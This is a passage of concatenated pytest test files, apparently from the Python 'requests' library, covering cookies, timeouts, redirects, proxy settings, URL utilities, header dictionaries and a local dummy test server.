        morsel['expires'] = 'Thu, 01-Jan-1970 00:00:01 GMT'
        cookie = morsel_to_cookie(morsel)
        assert cookie.expires == 1

    @pytest.mark.parametrize(
        'value, exception', (
            (100, TypeError),
            ('woops', ValueError),
        ))
    def test_expires_invalid_int(self, value, exception):
        """Test case where an invalid type is passed for expires."""
        morsel = Morsel()
        morsel['expires'] = value
        with pytest.raises(exception):
            morsel_to_cookie(morsel)

    def test_expires_none(self):
        """Test case where expires is None."""

        morsel = Morsel()
        morsel['expires'] = None
        cookie = morsel_to_cookie(morsel)
        assert cookie.expires is None


class TestMorselToCookieMaxAge:

    """Tests for morsel_to_cookie when morsel contains max-age."""

    def test_max_age_valid_int(self):
        """Test case where a valid max age in seconds is passed."""

        morsel = Morsel()
        morsel['max-age'] = 60
        cookie = morsel_to_cookie(morsel)
        assert isinstance(cookie.expires, int)

    def test_max_age_invalid_str(self):
        """Test case where a invalid max age is passed."""

        morsel = Morsel()
        morsel['max-age'] = 'woops'
        with pytest.raises(TypeError):
            morsel_to_cookie(morsel)


class TestTimeout:

    def test_stream_timeout(self, httpbin):
        try:
            requests.get(httpbin('delay/10'), timeout=2.0)
        except requests.exceptions.Timeout as e:
            assert 'Read timed out' in e.args[0].args[0]

    @pytest.mark.parametrize(
        'timeout, error_text', (
            ((3, 4, 5), '(connect, read)'),
            ('foo', 'must be an int or float'),
        ))
    def test_invalid_timeout(self, httpbin, timeout, error_text):
        with pytest.raises(ValueError) as e:
            requests.get(httpbin('get'), timeout=timeout)
        assert error_text in str(e)

    def test_none_timeout(self, httpbin):
        """Check that you can set None as a valid timeout value.

        To actually test this behavior, we'd want to check that setting the
        timeout to None actually lets the request block past the system default
        timeout. However, this would make the test suite unbearably slow.
        Instead we verify that setting the timeout to None does not prevent the
        request from succeeding.
        """
        r = requests.get(httpbin('get'), timeout=None)
        assert r.status_code == 200

    def test_read_timeout(self, httpbin):
        try:
            requests.get(httpbin('delay/10'), timeout=(None, 0.1))
            pytest.fail('The recv() request should time out.')
        except ReadTimeout:
            pass

    def test_connect_timeout(self):
        try:
            requests.get(TARPIT, timeout=(0.1, None))
            pytest.fail('The connect() request should time out.')
        except ConnectTimeout as e:
            assert isinstance(e, ConnectionError)
            assert isinstance(e, Timeout)

    def test_total_timeout_connect(self):
        try:
            requests.get(TARPIT, timeout=(0.1, 0.1))
            pytest.fail('The connect() request should time out.')
        except ConnectTimeout:
            pass

    def test_encoded_methods(self, httpbin):
        """See: https://github.com/kennethreitz/requests/issues/2316"""
        r = requests.request(b'GET', httpbin('get'))
        assert r.ok


SendCall = collections.namedtuple('SendCall', ('args', 'kwargs'))


class RedirectSession(SessionRedirectMixin):
    def __init__(self, order_of_redirects):
        self.redirects = order_of_redirects
        self.calls = []
        self.max_redirects = 30
        self.cookies = {}
        self.trust_env = False

    def send(self, *args, **kwargs):
        self.calls.append(SendCall(args, kwargs))
        return self.build_response()

    def build_response(self):
        request = self.calls[-1].args[0]
        r = requests.Response()

        try:
            r.status_code = int(self.redirects.pop(0))
        except IndexError:
            r.status_code = 200

        r.headers = CaseInsensitiveDict({'Location': '/'})
        r.raw = self._build_raw()
        r.request = request
        return r

    def _build_raw(self):
        string = StringIO.StringIO('')
        setattr(string, 'release_conn', lambda *args: args)
        return string


def test_json_encodes_as_bytes():
    # urllib3 expects bodies as bytes-like objects
    body = {"key": "value"}
    p = PreparedRequest()
    p.prepare(
        method='GET',
        url='https://www.example.com/',
        json=body
    )
    assert isinstance(p.body, bytes)


def test_requests_are_updated_each_time(httpbin):
    session = RedirectSession([303, 307])
    prep = requests.Request('POST', httpbin('post')).prepare()
    r0 = session.send(prep)
    assert r0.request.method == 'POST'
    assert session.calls[-1] == SendCall((r0.request,), {})
    redirect_generator = session.resolve_redirects(r0, prep)
    default_keyword_args = {
        'stream': False,
        'verify': True,
        'cert': None,
        'timeout': None,
        'allow_redirects': False,
        'proxies': {},
    }
    for response in redirect_generator:
        assert response.request.method == 'GET'
        send_call = SendCall((response.request,), default_keyword_args)
        assert session.calls[-1] == send_call


@pytest.mark.parametrize("var,url,proxy", [
    ('http_proxy', 'http://example.com', 'socks5://proxy.com:9876'),
    ('https_proxy', 'https://example.com', 'socks5://proxy.com:9876'),
    ('all_proxy', 'http://example.com', 'socks5://proxy.com:9876'),
    ('all_proxy', 'https://example.com', 'socks5://proxy.com:9876'),
])
def test_proxy_env_vars_override_default(var, url, proxy):
    session = requests.Session()
    prep = PreparedRequest()
    prep.prepare(method='GET', url=url)

    kwargs = {
        var: proxy
    }
    scheme = urlparse(url).scheme
    with override_environ(**kwargs):
        proxies = session.rebuild_proxies(prep, {})
        assert scheme in proxies
        assert proxies[scheme] == proxy


@pytest.mark.parametrize(
    'data', (
        (('a', 'b'), ('c', 'd')),
        (('c', 'd'), ('a', 'b')),
        (('a', 'b'), ('c', 'd'), ('e', 'f')),
    ))
def test_data_argument_accepts_tuples(data):
    """Ensure that the data argument will accept tuples of strings
    and properly encode them.
    """
    p = PreparedRequest()
    p.prepare(
        method='GET',
        url='http://www.example.com',
        data=data,
        hooks=default_hooks()
    )
    assert p.body == urlencode(data)


@pytest.mark.parametrize(
    'kwargs', (
        None,
        {
            'method': 'GET',
            'url': 'http://www.example.com',
            'data': 'foo=bar',
            'hooks': default_hooks()
        },
        {
            'method': 'GET',
            'url': 'http://www.example.com',
            'data': 'foo=bar',
            'hooks': default_hooks(),
            'cookies': {'foo': 'bar'}
        },
        {
            'method': 'GET',
            'url': u('http://www.example.com/üniçø∂é')
        },
    ))
def test_prepared_copy(kwargs):
    p = PreparedRequest()
    if kwargs:
        p.prepare(**kwargs)
    copy = p.copy()
    for attr in ('method', 'url', 'headers', '_cookies', 'body', 'hooks'):
        assert getattr(p, attr) == getattr(copy, attr)


def test_urllib3_retries(httpbin):
    from requests.packages.urllib3.util import Retry
    s = requests.Session()
    s.mount('http://', HTTPAdapter(max_retries=Retry(
        total=2, status_forcelist=[500]
    )))

    with pytest.raises(RetryError):
        s.get(httpbin('status/500'))


def test_urllib3_pool_connection_closed(httpbin):
    s = requests.Session()
    s.mount('http://', HTTPAdapter(pool_connections=0, pool_maxsize=0))

    try:
        s.get(httpbin('status/200'))
    except ConnectionError as e:
        assert u"Pool is closed." in str(e)


def test_vendor_aliases():
    from requests.packages import urllib3
    from requests.packages import chardet

    with pytest.raises(ImportError):
        from requests.packages import webbrowser






# -*- coding: utf-8 -*-

import pytest

from requests import hooks


def hook(value):
    return value[1:]


@pytest.mark.parametrize(
    'hooks_list, result', (
        (hook, 'ata'),
        ([hook, lambda x: None, hook], 'ta'),
    )
)
def test_hooks(hooks_list, result):
    assert hooks.dispatch_hook('response', {'response': hooks_list}, 'Data') == result


def test_default_hooks():
    assert hooks.default_hooks() == {'response': []}






# -*- coding: utf-8 -*-

import os
import pytest
import threading
import requests

from tests.testserver.server import Server

from .utils import override_environ


def test_chunked_upload():
    """can safely send generators"""
    close_server = threading.Event()
    server = Server.basic_response_server(wait_to_close_event=close_server)
    data = iter([b'a', b'b', b'c'])

    with server as (host, port):
        url = 'http://{0}:{1}/'.format(host, port)
        r = requests.post(url, data=data, stream=True)
        close_server.set()  # release server block

    assert r.status_code == 200
    assert r.request.headers['Transfer-Encoding'] == 'chunked'


_schemes_by_var_prefix = [
    ('http', ['http']),
    ('https', ['https']),
    ('all', ['http', 'https']),
]

_proxy_combos = []
for prefix, schemes in _schemes_by_var_prefix:
    for scheme in schemes:
        _proxy_combos.append(("{0}_proxy".format(prefix), scheme))

_proxy_combos += [(var.upper(), scheme) for var, scheme in _proxy_combos]


@pytest.mark.parametrize("var,scheme", _proxy_combos)
def test_use_proxy_from_environment(httpbin, var, scheme):
    url = "{0}://httpbin.org".format(scheme)
    fake_proxy = Server()  # do nothing with the requests; just close the socket
    with fake_proxy as (host, port):
        proxy_url = "socks5://{0}:{1}".format(host, port)
        kwargs = {var: proxy_url}
        with override_environ(**kwargs):
            # fake proxy's lack of response will cause a ConnectionError
            with pytest.raises(requests.exceptions.ConnectionError):
                requests.get(url)

        # the fake proxy received a request
        assert len(fake_proxy.handler_results) == 1

        # it had actual content (not checking for SOCKS protocol for now)
        assert len(fake_proxy.handler_results[0]) > 0






# -*- coding: utf-8 -*-

from io import BytesIO

import pytest
from requests import compat
from requests.structures import CaseInsensitiveDict
from requests.utils import (
    address_in_network, dotted_netmask,
    get_auth_from_url, get_encoding_from_headers,
    get_encodings_from_content, get_environ_proxies,
    guess_filename, guess_json_utf, is_ipv4_address,
    is_valid_cidr, iter_slices, parse_dict_header,
    parse_header_links, prepend_scheme_if_needed,
    requote_uri, select_proxy, should_bypass_proxies, super_len,
    to_key_val_list, to_native_string,
    unquote_header_value, unquote_unreserved,
    urldefragauth)

from .compat import StringIO, cStringIO


class TestSuperLen:

    @pytest.mark.parametrize(
        'stream, value', (
            (StringIO.StringIO, 'Test'),
            (BytesIO, b'Test'),
            pytest.mark.skipif('cStringIO is None')((cStringIO, 'Test')),
        ))
    def test_io_streams(self, stream, value):
        """Ensures that we properly deal with different kinds of IO streams."""
        assert super_len(stream()) == 0
        assert super_len(stream(value)) == 4

    def test_super_len_correctly_calculates_len_of_partially_read_file(self):
        """Ensure that we handle partially consumed file like objects."""
        s = StringIO.StringIO()
        s.write('foobarbogus')
        assert super_len(s) == 0

    @pytest.mark.parametrize('error', [IOError, OSError])
    def test_super_len_handles_files_raising_weird_errors_in_tell(self, error):
        """If tell() raises errors, assume the cursor is at position zero."""
        class BoomFile(object):
            def __len__(self):
                return 5

            def tell(self):
                raise error()

        assert super_len(BoomFile()) == 0

    def test_string(self):
        assert super_len('Test') == 4

    @pytest.mark.parametrize(
        'mode, warnings_num', (
            ('r', 1),
            ('rb', 0),
        ))
    def test_file(self, tmpdir, mode, warnings_num, recwarn):
        file_obj = tmpdir.join('test.txt')
        file_obj.write('Test')
        with file_obj.open(mode) as fd:
            assert super_len(fd) == 4
        assert len(recwarn) == warnings_num


class TestToKeyValList:

    @pytest.mark.parametrize(
        'value, expected', (
            ([('key', 'val')], [('key', 'val')]),
            ((('key', 'val'), ), [('key', 'val')]),
            ({'key': 'val'}, [('key', 'val')]),
            (None, None)
        ))
    def test_valid(self, value, expected):
        assert to_key_val_list(value) == expected

    def test_invalid(self):
        with pytest.raises(ValueError):
            to_key_val_list('string')


class TestUnquoteHeaderValue:

    @pytest.mark.parametrize(
        'value, expected', (
            (None, None),
            ('Test', 'Test'),
            ('"Test"', 'Test'),
            ('"Test\\\\"', 'Test\\'),
            ('"\\\\Comp\\Res"', '\\Comp\\Res'),
        ))
    def test_valid(self, value, expected):
        assert unquote_header_value(value) == expected

    def test_is_filename(self):
        assert unquote_header_value('"\\\\Comp\\Res"', True) == '\\\\Comp\\Res'


class TestGetEnvironProxies:
    """Ensures that IP addresses are correctly matches with ranges
    in no_proxy variable.
    """

    @pytest.fixture(autouse=True, params=['no_proxy', 'NO_PROXY'])
    def no_proxy(self, request, monkeypatch):
        monkeypatch.setenv(request.param, '192.168.0.0/24,127.0.0.1,localhost.localdomain,172.16.1.1')

    @pytest.mark.parametrize(
        'url', (
            'http://192.168.0.1:5000/',
            'http://192.168.0.1/',
            'http://172.16.1.1/',
            'http://172.16.1.1:5000/',
            'http://localhost.localdomain:5000/v1.0/',
        ))
    def test_bypass(self, url):
        assert get_environ_proxies(url) == {}

    @pytest.mark.parametrize(
        'url', (
            'http://192.168.1.1:5000/',
            'http://192.168.1.1/',
            'http://www.requests.com/',
        ))
    def test_not_bypass(self, url):
        assert get_environ_proxies(url) != {}


class TestIsIPv4Address:

    def test_valid(self):
        assert is_ipv4_address('8.8.8.8')

    @pytest.mark.parametrize('value', ('8.8.8.8.8', 'localhost.localdomain'))
    def test_invalid(self, value):
        assert not is_ipv4_address(value)


class TestIsValidCIDR:

    def test_valid(self):
        assert is_valid_cidr('192.168.1.0/24')

    @pytest.mark.parametrize(
        'value', (
            '8.8.8.8',
            '192.168.1.0/a',
            '192.168.1.0/128',
            '192.168.1.0/-1',
            '192.168.1.999/24',
        ))
    def test_invalid(self, value):
        assert not is_valid_cidr(value)


class TestAddressInNetwork:

    def test_valid(self):
        assert address_in_network('192.168.1.1', '192.168.1.0/24')

    def test_invalid(self):
        assert not address_in_network('172.16.0.1', '192.168.1.0/24')


class TestGuessFilename:

    @pytest.mark.parametrize(
        'value', (1, type('Fake', (object,), {'name': 1})()),
    )
    def test_guess_filename_invalid(self, value):
        assert guess_filename(value) is None

    @pytest.mark.parametrize(
        'value, expected_type', (
            (b'value', compat.bytes),
            (b'value'.decode('utf-8'), compat.str)
        ))
    def test_guess_filename_valid(self, value, expected_type):
        obj = type('Fake', (object,), {'name': value})()
        result = guess_filename(obj)
        assert result == value
        assert isinstance(result, expected_type)


class TestContentEncodingDetection:

    def test_none(self):
        encodings = get_encodings_from_content('')
        assert not len(encodings)

    @pytest.mark.parametrize(
        'content', (
            # HTML5 meta charset attribute
            '<meta charset="UTF-8">',
            # HTML4 pragma directive
            '<meta http-equiv="Content-type" content="text/html;charset=UTF-8">',
            # XHTML 1.x served with text/html MIME type
            '<meta http-equiv="Content-type" content="text/html;charset=UTF-8" />',
            # XHTML 1.x served as XML
            '<?xml version="1.0" encoding="UTF-8"?>',
        ))
    def test_pragmas(self, content):
        encodings = get_encodings_from_content(content)
        assert len(encodings) == 1
        assert encodings[0] == 'UTF-8'

    def test_precedence(self):
        content = '''
        <?xml version="1.0" encoding="XML"?>
        <meta charset="HTML5">
        <meta http-equiv="Content-type" content="text/html;charset=HTML4" />
        '''.strip()
        assert get_encodings_from_content(content) == ['HTML5', 'HTML4', 'XML']


class TestGuessJSONUTF:

    @pytest.mark.parametrize(
        'encoding', (
            'utf-32', 'utf-8-sig', 'utf-16', 'utf-8', 'utf-16-be', 'utf-16-le',
            'utf-32-be', 'utf-32-le'
        ))
    def test_encoded(self, encoding):
        data = '{}'.encode(encoding)
        assert guess_json_utf(data) == encoding

    def test_bad_utf_like_encoding(self):
        assert guess_json_utf(b'\x00\x00\x00\x00') is None


USER = PASSWORD = "%!*'();:@&=+$,/?#[] "
ENCODED_USER = compat.quote(USER, '')
ENCODED_PASSWORD = compat.quote(PASSWORD, '')


@pytest.mark.parametrize(
    'url, auth', (
        (
            'http://' + ENCODED_USER + ':' + ENCODED_PASSWORD + '@' +
            'request.com/url.html#test',
            (USER, PASSWORD)
        ),
        (
            'http://user:pass@complex.url.com/path?query=yes',
            ('user', 'pass')
        ),
        (
            'http://user:pass%20pass@complex.url.com/path?query=yes',
            ('user', 'pass pass')
        ),
        (
            'http://user:pass pass@complex.url.com/path?query=yes',
            ('user', 'pass pass')
        ),
        (
            'http://user%25user:pass@complex.url.com/path?query=yes',
            ('user%user', 'pass')
        ),
        (
            'http://user:pass%23pass@complex.url.com/path?query=yes',
            ('user', 'pass#pass')
        ),
        (
            'http://complex.url.com/path?query=yes',
            ('', '')
        ),
    ))
def test_get_auth_from_url(url, auth):
    assert get_auth_from_url(url) == auth


@pytest.mark.parametrize(
    'uri, expected', (
        (
            # Ensure requoting doesn't break expectations
            'http://example.com/fiz?buz=%25ppicture',
            'http://example.com/fiz?buz=%25ppicture',
        ),
        (
            # Ensure we handle unquoted percent signs in redirects
            'http://example.com/fiz?buz=%ppicture',
            'http://example.com/fiz?buz=%25ppicture',
        ),
    ))
def test_requote_uri_with_unquoted_percents(uri, expected):
    """See: https://github.com/kennethreitz/requests/issues/2356"""
    assert requote_uri(uri) == expected


@pytest.mark.parametrize(
    'uri, expected', (
        (
            # Illegal bytes
            'http://example.com/?a=%--',
            'http://example.com/?a=%--',
        ),
        (
            # Reserved characters
            'http://example.com/?a=%300',
            'http://example.com/?a=00',
        )
    ))
def test_unquote_unreserved(uri, expected):
    assert unquote_unreserved(uri) == expected


@pytest.mark.parametrize(
    'mask, expected', (
        (8, '255.0.0.0'),
        (24, '255.255.255.0'),
        (25, '255.255.255.128'),
    ))
def test_dotted_netmask(mask, expected):
    assert dotted_netmask(mask) == expected


http_proxies = {'http': 'http://http.proxy',
                'http://some.host': 'http://some.host.proxy'}
all_proxies = {'all': 'socks5://http.proxy',
               'all://some.host': 'socks5://some.host.proxy'}
mixed_proxies = {'http': 'http://http.proxy',
                 'http://some.host': 'http://some.host.proxy',
                 'all': 'socks5://http.proxy'}
@pytest.mark.parametrize(
    'url, expected, proxies', (
        ('hTTp://u:p@Some.Host/path', 'http://some.host.proxy', http_proxies),
        ('hTTp://u:p@Other.Host/path', 'http://http.proxy', http_proxies),
        ('hTTp:///path', 'http://http.proxy', http_proxies),
        ('hTTps://Other.Host', None, http_proxies),
        ('file:///etc/motd', None, http_proxies),

        ('hTTp://u:p@Some.Host/path', 'socks5://some.host.proxy', all_proxies),
        ('hTTp://u:p@Other.Host/path', 'socks5://http.proxy', all_proxies),
        ('hTTp:///path', 'socks5://http.proxy', all_proxies),
        ('hTTps://Other.Host', 'socks5://http.proxy', all_proxies),

        ('http://u:p@other.host/path', 'http://http.proxy', mixed_proxies),
        ('http://u:p@some.host/path', 'http://some.host.proxy', mixed_proxies),
        ('https://u:p@other.host/path', 'socks5://http.proxy', mixed_proxies),
        ('https://u:p@some.host/path', 'socks5://http.proxy', mixed_proxies),
        ('https://', 'socks5://http.proxy', mixed_proxies),
        # XXX: unsure whether this is reasonable behavior
        ('file:///etc/motd', 'socks5://http.proxy', all_proxies),
    ))
def test_select_proxies(url, expected, proxies):
    """Make sure we can select per-host proxies correctly."""
    assert select_proxy(url, proxies) == expected


@pytest.mark.parametrize(
    'value, expected', (
        ('foo="is a fish", bar="as well"', {'foo': 'is a fish', 'bar': 'as well'}),
        ('key_without_value', {'key_without_value': None})
    ))
def test_parse_dict_header(value, expected):
    assert parse_dict_header(value) == expected


@pytest.mark.parametrize(
    'value, expected', (
        (
            CaseInsensitiveDict(),
            None
        ),
        (
            CaseInsensitiveDict({'content-type': 'application/json; charset=utf-8'}),
            'utf-8'
        ),
        (
            CaseInsensitiveDict({'content-type': 'text/plain'}),
            'ISO-8859-1'
        ),
    ))
def test_get_encoding_from_headers(value, expected):
    assert get_encoding_from_headers(value) == expected


@pytest.mark.parametrize(
    'value, length', (
        ('', 0),
        ('T', 1),
        ('Test', 4),
        ('Cont', 0),
        ('Other', -5),
        ('Content', None),
    ))
def test_iter_slices(value, length):
    if length is None or (length <= 0 and len(value) > 0):
        # Reads all content at once
        assert len(list(iter_slices(value, length))) == 1
    else:
        assert len(list(iter_slices(value, 1))) == length


@pytest.mark.parametrize(
    'value, expected', (
        (
            '<http:/.../front.jpeg>; rel=front; type="image/jpeg"',
            [{'url': 'http:/.../front.jpeg', 'rel': 'front', 'type': 'image/jpeg'}]
        ),
        (
            '<http:/.../front.jpeg>',
            [{'url': 'http:/.../front.jpeg'}]
        ),
        (
            '<http:/.../front.jpeg>;',
            [{'url': 'http:/.../front.jpeg'}]
        ),
        (
            '<http:/.../front.jpeg>; type="image/jpeg",<http://.../back.jpeg>;',
            [
                {'url': 'http:/.../front.jpeg', 'type': 'image/jpeg'},
                {'url': 'http://.../back.jpeg'}
            ]
        ),
    ))
def test_parse_header_links(value, expected):
    assert parse_header_links(value) == expected


@pytest.mark.parametrize(
    'value, expected', (
        ('example.com/path', 'http://example.com/path'),
        ('//example.com/path', 'http://example.com/path'),
    ))
def test_prepend_scheme_if_needed(value, expected):
    assert prepend_scheme_if_needed(value, 'http') == expected


@pytest.mark.parametrize(
    'value, expected', (
        ('T', 'T'),
        (b'T', 'T'),
        (u'T', 'T'),
    ))
def test_to_native_string(value, expected):
    assert to_native_string(value) == expected


@pytest.mark.parametrize(
    'url, expected', (
        ('http://u:p@example.com/path?a=1#test', 'http://example.com/path?a=1'),
        ('http://example.com/path', 'http://example.com/path'),
        ('//u:p@example.com/path', '//example.com/path'),
        ('//example.com/path', '//example.com/path'),
        ('example.com/path', '//example.com/path'),
        ('scheme:u:p@example.com/path', 'scheme://example.com/path'),
    ))
def test_urldefragauth(url, expected):
    assert urldefragauth(url) == expected


@pytest.mark.parametrize(
    'url, expected', (
            ('http://192.168.0.1:5000/', True),
            ('http://192.168.0.1/', True),
            ('http://172.16.1.1/', True),
            ('http://172.16.1.1:5000/', True),
            ('http://localhost.localdomain:5000/v1.0/', True),
            ('http://172.16.1.12/', False),
            ('http://172.16.1.12:5000/', False),
            ('http://google.com:5000/v1.0/', False),
    ))
def test_should_bypass_proxies(url, expected, monkeypatch):
    """Tests for function should_bypass_proxies to check if proxy
    can be bypassed or not
    """
    monkeypatch.setenv('no_proxy', '192.168.0.0/24,127.0.0.1,localhost.localdomain,172.16.1.1')
    monkeypatch.setenv('NO_PROXY', '192.168.0.0/24,127.0.0.1,localhost.localdomain,172.16.1.1')
    assert should_bypass_proxies(url) == expected






# -*- coding: utf-8 -*-

import pytest

from requests.structures import CaseInsensitiveDict, LookupDict


class TestCaseInsensitiveDict:

    @pytest.fixture(autouse=True)
    def setup(self):
        """CaseInsensitiveDict instance with "Accept" header."""
        self.case_insensitive_dict = CaseInsensitiveDict()
        self.case_insensitive_dict['Accept'] = 'application/json'

    def test_list(self):
        assert list(self.case_insensitive_dict) == ['Accept']

    possible_keys = pytest.mark.parametrize('key', ('accept', 'ACCEPT', 'aCcEpT', 'Accept'))

    @possible_keys
    def test_getitem(self, key):
        assert self.case_insensitive_dict[key] == 'application/json'

    @possible_keys
    def test_delitem(self, key):
        del self.case_insensitive_dict[key]
        assert key not in self.case_insensitive_dict

    def test_lower_items(self):
        assert list(self.case_insensitive_dict.lower_items()) == [('accept', 'application/json')]

    def test_repr(self):
        assert repr(self.case_insensitive_dict) == "{'Accept': 'application/json'}"

    def test_copy(self):
        copy = self.case_insensitive_dict.copy()
        assert copy is not self.case_insensitive_dict
        assert copy == self.case_insensitive_dict

    @pytest.mark.parametrize(
        'other, result', (
            ({'AccePT': 'application/json'}, True),
            ({}, False),
            (None, False)
        )
    )
    def test_instance_equality(self, other, result):
        assert (self.case_insensitive_dict == other) is result


class TestLookupDict:

    @pytest.fixture(autouse=True)
    def setup(self):
        """LookupDict instance with "bad_gateway" attribute."""
        self.lookup_dict = LookupDict('test')
        self.lookup_dict.bad_gateway = 502

    def test_repr(self):
        assert repr(self.lookup_dict) == "<lookup 'test'>"

    get_item_parameters = pytest.mark.parametrize(
        'key, value', (
            ('bad_gateway', 502),
            ('not_a_key', None)
        )
    )

    @get_item_parameters
    def test_getitem(self, key, value):
        assert self.lookup_dict[key] == value

    @get_item_parameters
    def test_get(self, key, value):
        assert self.lookup_dict.get(key) == value






# -*- coding: utf-8 -*-

"""Requests test package initialisation."""

import warnings

try:
    import urllib3 as urllib3_package
except ImportError:
    urllib3_package = False

from requests.packages import urllib3 as urllib3_bundle

if urllib3_package is urllib3_bundle:
    from urllib3.exceptions import SNIMissingWarning
else:
    from requests.packages.urllib3.exceptions import SNIMissingWarning

# urllib3 sets SNIMissingWarning to only go off once,
# while this test suite requires it to always fire
# so that it occurs during test_requests.test_https_warnings
warnings.simplefilter('always', SNIMissingWarning)






# -*- coding: utf-8 -*-

from requests.compat import is_py3


try:
    import StringIO
except ImportError:
    import io as StringIO

try:
    from cStringIO import StringIO as cStringIO
except ImportError:
    cStringIO = None

if is_py3:
    def u(s):
        return s
else:
    def u(s):
        return s.decode('unicode-escape')






# -*- coding: utf-8 -*-

import threading
import socket
import time

import pytest
import requests
from tests.testserver.server import Server


class TestTestServer:

    def test_basic(self):
        """messages are sent and received properly"""
        question = b"success?"
        answer = b"yeah, success"

        def handler(sock):
            text = sock.recv(1000)
            assert text == question
            sock.sendall(answer)

        with Server(handler) as (host, port):
            sock = socket.socket()
            sock.connect((host, port))
            sock.sendall(question)
            text = sock.recv(1000)
            assert text == answer
            sock.close()

    def test_server_closes(self):
        """the server closes when leaving the context manager"""
        with Server.basic_response_server() as (host, port):
            sock = socket.socket()
            sock.connect((host, port))

            sock.close()

        with pytest.raises(socket.error):
            new_sock = socket.socket()
            new_sock.connect((host, port))

    def test_text_response(self):
        """the text_response_server sends the given text"""
        server = Server.text_response_server(
            "HTTP/1.1 200 OK\r\n" +
            "Content-Length: 6\r\n" +
            "\r\nroflol"
        )

        with server as (host, port):
            r = requests.get('http://{0}:{1}'.format(host, port))

            assert r.status_code == 200
            assert r.text == u'roflol'
            assert r.headers['Content-Length'] == '6'

    def test_basic_response(self):
        """the basic response server returns an empty http response"""
        with Server.basic_response_server() as (host, port):
            r = requests.get('http://{0}:{1}'.format(host, port))
            assert r.status_code == 200
            assert r.text == u''
            assert r.headers['Content-Length'] == '0'

    def test_basic_waiting_server(self):
        """the server waits for the block_server event to be set before closing"""
        block_server = threading.Event()

        with Server.basic_response_server(wait_to_close_event=block_server) as (host, port):
            sock = socket.socket()
            sock.connect((host, port))
            sock.sendall(b'send something')
            time.sleep(2.5)
            sock.sendall(b'still alive')
            block_server.set()  # release server block

    def test_multiple_requests(self):
        """multiple requests can be served"""
        requests_to_handle = 5

        server = Server.basic_response_server(requests_to_handle=requests_to_handle)

        with server as (host, port):
            server_url = 'http://{0}:{1}'.format(host, port)
            for _ in range(requests_to_handle):
                r = requests.get(server_url)
                assert r.status_code == 200

            # the (n+1)th request fails
            with pytest.raises(requests.exceptions.ConnectionError):
                r = requests.get(server_url)

    def test_request_recovery(self):
        """can check the requests content"""
        server = Server.basic_response_server(requests_to_handle=2)
        first_request = b'put your hands up in the air'
        second_request = b'put your hand down in the floor'

        with server as address:
            sock1 = socket.socket()
            sock2 = socket.socket()

            sock1.connect(address)
            sock1.sendall(first_request)
            sock1.close()

            sock2.connect(address)
            sock2.sendall(second_request)
            sock2.close()

        assert server.handler_results[0] == first_request
        assert server.handler_results[1] == second_request

    def test_requests_after_timeout_are_not_received(self):
        """the basic response handler times out when receiving requests"""
        server = Server.basic_response_server(request_timeout=1)

        with server as address:
            sock = socket.socket()
            sock.connect(address)
            time.sleep(1.5)
            sock.sendall(b'hehehe, not received')
            sock.close()

        assert server.handler_results[0] == b''

    def test_request_recovery_with_bigger_timeout(self):
        """a biggest timeout can be specified"""
        server = Server.basic_response_server(request_timeout=3)
        data = b'bananadine'

        with server as address:
            sock = socket.socket()
            sock.connect(address)
            time.sleep(1.5)
            sock.sendall(data)
            sock.close()

        assert server.handler_results[0] == data

    def test_server_finishes_on_error(self):
        """the server thread exits even if an exception exits the context manager"""
        server = Server.basic_response_server()
        with pytest.raises(Exception):
            with server:
                raise Exception()

        assert len(server.handler_results) == 0

        # if the server thread fails to finish, the test suite will hang
        # and get killed by the jenkins timeout.

    def test_server_finishes_when_no_connections(self):
        """the server thread exits even if there are no connections"""
        server = Server.basic_response_server()
        with server:
            pass

        assert len(server.handler_results) == 0

        # if the server thread fails to finish, the test suite will hang
        # and get killed by the jenkins timeout.






# -*- coding: utf-8 -*-

import contextlib
import os


@contextlib.contextmanager
def override_environ(**kwargs):
    save_env = dict(os.environ)
    for key, value in kwargs.items():
        if value is None:
            del os.environ[key]
        else:
            os.environ[key] = value
    try:
        yield
    finally:
        os.environ.clear()
        os.environ.update(save_env)






# -*- coding: utf-8 -*-

import pytest
from requests.compat import urljoin


def prepare_url(value):
    # Issue #1483: Make sure the URL always has a trailing slash
    httpbin_url = value.url.rstrip('/') + '/'

    def inner(*suffix):
        return urljoin(httpbin_url, '/'.join(suffix))

    return inner


@pytest.fixture
def httpbin(httpbin):
    return prepare_url(httpbin)


@pytest.fixture
def httpbin_secure(httpbin_secure):
    return prepare_url(httpbin_secure)






# -*- coding: utf-8 -*-

import threading
import socket
import select


def consume_socket_content(sock, timeout=0.5):
    chunks = 65536
    content = b''
    more_to_read = select.select([sock], [], [], timeout)[0]

    while more_to_read:
        new_content = sock.recv(chunks)

        if not new_content:
            break

        content += new_content
        # stop reading if no new data is received for a while
        more_to_read = select.select([sock], [], [], timeout)[0]

    return content


class Server(threading.Thread):
    """Dummy server using for unit testing"""
    WAIT_EVENT_TIMEOUT = 5

    def __init__(self, handler=None, host='localhost', port=0, requests_to_handle=1, wait_to_close_event=None):
        super(Server, self).__init__()

        self.handler = handler or consume_socket_content
        self.handler_results = []

        self.host = host
        self.port = port
        self.requests_to_handle = requests_to_handle

        self.wait_to_close_event = wait_to_close_event
        self.ready_event = threading.Event()
        self.stop_event = threading.Event()

    @classmethod
    def text_response_server(cls, text, request_timeout=0.5, **kwargs):
        def text_response_handler(sock):
            request_content = consume_socket_content(sock, timeout=request_timeout)
            sock.send(text.encode('utf-8'))

            return request_content


        return Server(text_response_handler, **kwargs)

    @classmethod
    def basic_response_server(cls, **kwargs):
        return cls.text_response_server(
            "HTTP/1.1 200 OK\r\n" +
            "Content-Length: 0\r\n\r\n",
            **kwargs
        )

    def run(self):
        try:
            self.server_sock = self._create_socket_and_bind()
            # in case self.port = 0
            self.port = self.server_sock.getsockname()[1]
            self.ready_event.set()
            self._handle_requests()

            if self.wait_to_close_event:
                self.wait_to_close_event.wait(self.WAIT_EVENT_TIMEOUT)
        finally:
            self.ready_event.set() # just in case of exception
            self._close_server_sock_ignore_errors()
            self.stop_event.set()

    def _create_socket_and_bind(self):
        sock = socket.socket()
        sock.bind((self.host, self.port))
        sock.listen(0)
        return sock

    def _close_server_sock_ignore_errors(self):
        try:
            self.server_sock.close()
        except IOError:
            pass

    def _handle_requests(self):
        for _ in range(self.requests_to_handle):
            sock = self._accept_connection()
            if not sock:
                break

            handler_result = self.handler(sock)

            self.handler_results.append(handler_result)

    def _accept_connection(self):
        try:
            ready, _, _ = select.select([self.server_sock], [], [], self.WAIT_EVENT_TIMEOUT)
            if not ready:
                return None

            return self.server_sock.accept()[0]
        except (select.error, socket.error):
            return None

    def __enter__(self):
        self.start()
        self.ready_event.wait(self.WAIT_EVENT_TIMEOUT)
        return self.host, self.port

